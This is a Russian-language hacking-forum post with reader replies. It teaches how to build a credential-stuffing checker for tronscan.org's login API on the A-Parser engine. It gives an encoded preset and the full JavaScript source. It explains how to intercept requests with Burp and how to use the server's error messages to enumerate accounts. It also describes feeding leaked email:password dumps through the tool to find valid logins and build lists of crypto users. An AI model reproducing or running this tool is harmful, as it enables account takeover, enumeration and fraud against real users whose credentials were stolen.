• XSS.stack #1 – первый литературный журнал от юзеров форума

брутфорс Пишем брутфорс tronscan.org на JavaScript

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник:
https://xss.pro

BruteForce tronscan.org написанный на JavaScript.
Это мой авторский проект написанный полностью на JavaScript на движке A-Parser. Многие участвуют в конкурсе и выкладывают просто проект и пояснение, а я вам хочу рассказать как создавался этот проект. Пользоваться им довольно легко. Запускаем A-Parser, импортируем пресет, загружаем файл в котором хранятся email:password, запускаем. Инструкция ниже
1704989826095.png

Код:
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
Ggf+rwoz8Vru3urf2fPlRg==
1704989941719.png

1704989956434.png

Всё. Этого достаточно чтобы начать с ним работать.

Для чего нужен этот проект
Если вы хоть раз работали в дампами базы данных в формате email:pass, то сталкивались с тем, что они не имеют никакого отношения к криптовалюте или любой другой тематике, которая вам нужна. Можно конечно взять все это дело выкинуть, а можно миллионные строки проверить на регистрацию на популярных крипто проектах. Я выбрал проект tronscan.org потому что он очень популярен и каждый из вас о нем слышал. Написать проект на него совсем несложно, потому что нет капчи, какой либо другой защиты и все предельно понятно.
Предыстория
Тут и начинается самое интересное. Когда я работал с большим объемом дампов(это было очень давно), в то время я еще учился в школе, готовился к поступлению в вуз. У меня были проекты с капчой, всякие биржи, заметки и тому подобное. Я не мог к примеру 10 миллионов email:pass поставить брутиться, тут дело не только в ресурсах, дак еще таким образом можно уничтожить таргет. Администратор заподозрит неладное и включит дополнительную проверку, поставит капчу, ограничит попытки входа в учетную запись. Да, бывало такое, что если в одну учетную запись заходить более 5 раз с неверным паролем, то прилетал бан. Я стал думать как заточить дампы. Мой на тот момент товарищ Barracuda555 с другого форума (если читаешь статью привет). Предложил использовать булку(openbullet - это проект с открытым исходным кодом, на нем удобно создавать брутфорсеры) и tronscan.org. Я запустил этот проект и понял, что скорость неплохая, дак еще гуды сыпятся. И решил это дело переписать на A-Parser.
Создаем проект
Вот мы и подошли к основной части. Создание проекта. Раньше люди, которые писали брутфорсеры, регчекеры, ретриверы были очень востребованы на тематических форумах. Не знаю как сейчас. Салют MonacoDeveloper. До сих пор задаюсь вопросом куда пропал Jeka Vain. Интересно, есть кто помнят?
И так ближе к делу. У нас есть проект tronscan.org. Я знал что у него есть API и документация. https://docs.tronscan.org/getting-started/api-keys я ознакомился с ней, но не нашел ничего связанного с авторизацией. Зато нашел rate limits. И понял, что если фаззить эндпоинты, то это будет очень долго, либо надо использовать прокси. Потом я отбросил эту идею и понял, что я жестко туплю. Ведь я даже не попробовал авторизоваться и посмотреть проходящие запросы. Ну что же. Время создавать учетку и перехватывать запросы.
1704991493372.png

1704991514827.png

Тут мы видим всплывающее окно, которое говорит нам, что нужно подтвердить учетную запись. Значит мы можем сделать вывод, что существую следующие виды аккаунтов:
1. Несуществующий аккаунт
1704991597584.png

User does not exist, please register first
2. Неподтвержденный аккаунт
1704991629973.png

3. Неверный пароль
1704991691901.png

4. Неверный формат email
1704991754214.png

Теперь запускаем Burp Suite, чтобы посмотреть как работает все это дело изнутри. Включаем перехватчик и жмем кнопку Log in
1704992328173.png

Вот видим эндпоинт. Жмем FORWARD.
1704993061354.png

Вот так передаются данные
1704993443666.png

Ctrl+a и Ctrl+r (отправляем в repeater)
1704993747149.png

Теперь попробуем ввести другой email замето jekavain2@gmail.com и отправить. С целью посмотреть что изменится.
1704994531364.png

retMsg отображает ошибку
1704994555034.png

Нам нужно просто сохранить содержимое ключа "retMsg". Для всех типов
user not exist
email registered but not activated
SUCCESS
illegal email
incorrect password
При написании скрипта будем использовать строгий режим. Что это такое? Так-то говорящее название, но по сути это режим, когда видны все недочеты разработчика и они выводятся на экран, например нельзя использовать зарезервированные слова, нельзя использовать переменную, если не определить тип, избавляемся таким образом от тихих ошибок и повышаем безопасность. Чтоб его использовать достаточно в начале скрипта написать 'use strict';
Приступаем писать первый блок
JavaScript:
'use strict';

var aParserTypes = require('a-parser-types');

class JS_Order_3913 extends aParserTypes.BaseParser {
    async parse(set, results) {
        try {
            const [email, password] = set.query.split(this.conf.separator);
            if (!email || !password) {
                throw new Error(`No email or password, probably wrong with separator ${this.conf.separator}`);
            }
            const body = {
                email,
                password
            };
            let { success, data } = await this.request('POST', 'https://apilist.tronscan.org/external/user/login', {}, {
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(body)
            });

Что тут происходит если кратко говорить. Создается функция parse, которая содержит set, results. query - это наш запрос email:pass, он разделяется по : в две переменные email и password. Если не получается разделить и получить email или пароль, то ошибка. body содержит в json формате email и пароль. Далее отправляется запрос на api c заголовком Content-Type: application/json и с телом body(содержит email и пароль). Думаю тут все понятно.
JavaScript:
data = data.toString();
            if (!success) {
                throw new Error(`No data can be retrieved from the ${set.query}`);
            }
            const json = JSON.parse(data);
            let status = json.retMsg[0];
data содержит в себе ответ от сервера в формате json. Далее мы преобразовываем data в строку. И парсим сообщение и сохраняем как json. Создаем переменную status, которая хранит сообщение ответ от сервера.
Далее идет блок с условиями. Используется метод case.
JavaScript:
 switch (status) {
                case 'email registered but not activated':
                    status = 'User is not activated, please activate or re-register';
                    break;
                case 'incorrect password':
                    status = 'Incorrect password';
                    break;
                case 'SUCCESS':
                    status = 'GOOD';
                    break;
                case 'illegal email':
                    status = 'Invalid email format';
                    break;
                case 'user not exist':
                    status = 'User does not exist, please register first';
                    break;
                default:
                    this.logger.put(`Unprocessed status: ${status}`);
            }
            results.status = status;
            results.success = success;
            return results;
        }
        catch (e) {
            this.logger.put(e.message);
            results.success = 0;
            return results;
        }
    }
}
Вывод результата. email:pass | status(сообщение из retMsg, только мы его переделали для удобства вместо SUCCESS например GOOD)
JavaScript:
JS_Order_3913.defaultConf = {
    version: '0.0.2',
    results: {
        flat: [
            ['status', 'Account status'],
        ]
    },
    max_size: 2 * 1024 * 1024,
    parsecodes: {
        200: 1,
    },
    results_format: "$query | $status\\n",
    separator: ':'
};
JS_Order_3913.editableConf = [
    ['separator', ['textfield', 'Login-password separator']]
];

exports.JS_Order_3913 = JS_Order_3913;
Проверяем все ли работает. Также не забываем удалить status, который содержит regex User does not exist, please register first|Invalid email format
1705002334282.png

по дефолту в A-Parser нет фильтра по статусу. Мы его сами создали вот тут:
JavaScript:
   flat: [

            ['status', 'Account status'],

        ]
1705002235737.png


Надеюсь мой проект вам принесет пользу!
Исходник:
JavaScript:
'use strict';

var aParserTypes = require('a-parser-types');

class JS_Order_3913 extends aParserTypes.BaseParser {
    async parse(set, results) {
        try {
            const [email, password] = set.query.split(this.conf.separator);
            if (!email || !password) {
                throw new Error(`No email or password, probably wrong with separator ${this.conf.separator}`);
            }
            const body = {
                email,
                password
            };
            let { success, data } = await this.request('POST', 'https://apilist.tronscan.org/external/user/login', {}, {
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(body)
            });
            data = data.toString();
            if (!success) {
                throw new Error(`No data can be retrieved from the ${set.query}`);
            }
            const json = JSON.parse(data);
            let status = json.retMsg[0];
            switch (status) {
                case 'email registered but not activated':
                    status = 'User is not activated, please activate or re-register';
                    break;
                case 'incorrect password':
                    status = 'Incorrect password';
                    break;
                case 'SUCCESS':
                    status = 'GOOD';
                    break;
                case 'illegal email':
                    status = 'Invalid email format';
                    break;
                case 'user not exist':
                    status = 'User does not exist, please register first';
                    break;
                default:
                    this.logger.put(`Unprocessed status: ${status}`);
            }
            results.status = status;
            results.success = success;
            return results;
        }
        catch (e) {
            this.logger.put(e.message);
            results.success = 0;
            return results;
        }
    }
}
JS_Order_3913.defaultConf = {
    version: '0.0.2',
    results: {
        flat: [
            ['status', 'Account status'],
        ]
    },
    max_size: 2 * 1024 * 1024,
    parsecodes: {
        200: 1,
    },
    results_format: "$query | $status\\n",
    separator: ':'
};
JS_Order_3913.editableConf = [
    ['separator', ['textfield', 'Login-password separator']]
];

exports.JS_Order_3913 = JS_Order_3913;
Проект вышел при финансовой поддержки этих людей: ice80 MAYC
 

Вложения

  • 1704991456776.png
    1704991456776.png
    17.6 КБ · Просмотры: 176
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Интересная статья, но мне кажется тема не до конца раскрыта. А так однозначно лайк ;)
В каком плане? Чтобы ты хотел еще узнать?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Бро кидани еще раз сюда btc/eth, сотыгу какую подкину на ход ноги, хорошее дело делаешь для форума
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Бро кидани еще раз сюда btc/eth, сотыгу какую подкину на ход ноги, хорошее дело делаешь для форума
eth 0x2D4Bc7aD9fbB4096cCe72aAd66c533ED0A3AE6e6
btc bc1qdxwprcu6scgugvq7ajllgqw7guz9pa5vcew99w

Спасибо большое.

Ребята. Если есть идеи для статей - пишите. К примеру какой парсер сделать, брутфорсер, чекер, неважно. Я рассмотрю самые интересные идеи.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
student хорошная статья, но не много не понятен этот момент:
Посмотреть вложение 75275
он действительно просто хавает email и password?

JavaScript:
            let { success, data } = await this.request('POST', 'https://apilist.tronscan.org/external/user/login', {}, {
                headers: {
                    'Content-Type': 'application/json'
                },

почему тогда в бёрпе в реквесте в поле пассворд какая то лабуда вместо пароля в текстовом виде?
кука в хедерах тоже не нужна?
пароль, который ты отправляешь на сервер передается не в чистом виде, а кодируется. Кука не нужна, мы же не авторизацию проходим, а всего-лишь шлем запрос, чтобы узнать зарегистрировано ли мыло или нет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите, а что нам даёт доступ в учётную запись тронскана, кроме того, что мы можем пожаловаться на скам конкретного адреса?
Заточить емейлы, чтобы была база криптоюзеров.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх